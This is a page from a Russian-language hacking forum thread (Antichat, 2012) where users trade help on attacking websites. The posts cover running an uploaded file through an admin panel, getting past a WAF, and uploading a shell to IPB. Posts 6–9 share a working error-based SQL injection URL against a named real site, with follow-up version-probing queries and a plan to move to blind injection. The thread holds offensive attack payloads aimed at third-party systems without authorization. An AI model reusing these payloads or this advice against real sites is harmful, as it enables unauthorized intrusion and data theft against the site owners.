HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2028 из 2422 « Первая < 10281528192819782018 2024 2025 2026 2027 2028 2029 2030 2031 2032 203820782128 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.05.2012, 20:06
mironich
Постоянный
Регистрация: 27.02.2011
Сообщений: 733
С нами: 8003126

Репутация: 19


По умолчанию
Цитата:
Сообщение от None  
Не знаю туда или нет, но все-таки спрошу:
Есть доступ к админке, там есть возможность заливки pdf файла. В итоге файл получает ссылку вида http://shell.com/download.php?id=418.
В БД никаких упоминай о файле... По крайней мере в данных к которым у меня есть доступ.
Вопрос в том как этот файл запустить.
P.S По этой ссылке выдает ошибку "Не удалось загрузить документ PDF.
Не как, надо грузить на серв(ИЩИ В АДМИНКЕ НАСТРОЙКИ ЗАГРУЗКИ).

Цитата:
Сообщение от None  
Выше никак.
Прав не хватает?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 06.05.2012, 20:15
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
to TorRom

Может быть WAF? Как вариант
 
Ответить с цитированием

  #3  
Старый 06.05.2012, 21:02
TorRom
Новичок
Регистрация: 29.04.2012
Сообщений: 15
С нами: 7388246

Репутация: 0
По умолчанию
Цитата:
Сообщение от mironich  
Прав не хватает?
Я не так далеко лезу. Должно хватать. Не выше корня сайта.

Цитата:
Сообщение от cat1vo  
to
TorRom
Может быть WAF? Как вариант
Да, это WAF. Проверил, если запрос содержит:

Код:
union
#00
alert(
Получаем 403 Forbidden

allow_url_include=on по всей видимости, фишка с data не работает. Есть ещё способы?
 
Ответить с цитированием

  #4  
Старый 07.05.2012, 01:15
--=[Bob]=--
Познающий
Регистрация: 08.03.2011
Сообщений: 51
С нами: 7990166

Репутация: 1
По умолчанию
Можно ли Залить шелл на ipb 3.6.x ? Есть доступ к админке
 
Ответить с цитированием

  #5  
Старый 07.05.2012, 01:51
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
to --=[Bob]=--

Последняя версия — IPB 3.3.0: 21 марта 2012

Вы, ничего не путаете?
 
Ответить с цитированием

  #6  
Старый 07.05.2012, 02:55
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
Guys. I got version working perfectly.

Код:
http://af-art.be/common/catalog2.php?g_id=3+or+1+group+by+concat_ws%280x7e,version%28%29,floor%28rand%280%29*2%29%29+having+min%280%29+or+1--
I cannot grab tables.
 
Ответить с цитированием

  #7  
Старый 07.05.2012, 03:40
Га-Ноцри
Постоянный
Регистрация: 16.10.2011
Сообщений: 326
С нами: 7670486

Репутация: 76
По умолчанию
Цитата:
Сообщение от lightangel  
Guys. I got version working perfectly.
Код:
http://af-art.be/common/catalog2.php?g_id=3+or+1+group+by+concat_ws%280x7e,version%28%29,floor%28rand%280%29*2%29%29+having+min%280%29+or+1--
I cannot grab tables.
Because there is no `information_schema.table`. Logically, is not it?
 
Ответить с цитированием

  #8  
Старый 07.05.2012, 03:50
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
But this is version 5.

Only version 4 has no `information_schema.table`.
 
Ответить с цитированием

  #9  
Старый 07.05.2012, 03:53
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
Код:
Duplicate entry '3.23.58~1' for key 1

http://af-art.be/common/catalog2.php?g_id=3+and+substring(version(),1,1)like(4)
http://af-art.be/common/catalog2.php?g_id=3+and+substring(version(),1,1)like(3)
You have 3.23.58 version of MySQL. Information_schema appeared in the 5 version of MySQL
 
Ответить с цитированием

  #10  
Старый 07.05.2012, 04:00
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
Thank you now, I know it's blind SQL injection.

I will just use Boolean Based on this one.
 
Ответить с цитированием
Ответ
Страница 2028 из 2422 « Первая < 10281528192819782018 2024 2025 2026 2027 2028 2029 2030 2031 2032 203820782128 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.